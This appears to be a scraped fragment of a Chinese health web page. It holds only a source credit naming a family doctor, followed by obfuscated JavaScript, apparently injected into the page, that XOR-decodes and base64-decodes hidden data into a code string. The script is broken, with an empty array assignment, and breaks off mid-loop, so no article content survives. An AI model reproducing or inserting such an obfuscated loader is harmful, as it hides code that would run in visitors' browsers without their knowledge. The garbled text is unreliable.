资料来源：家医科医生李思贤 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) ...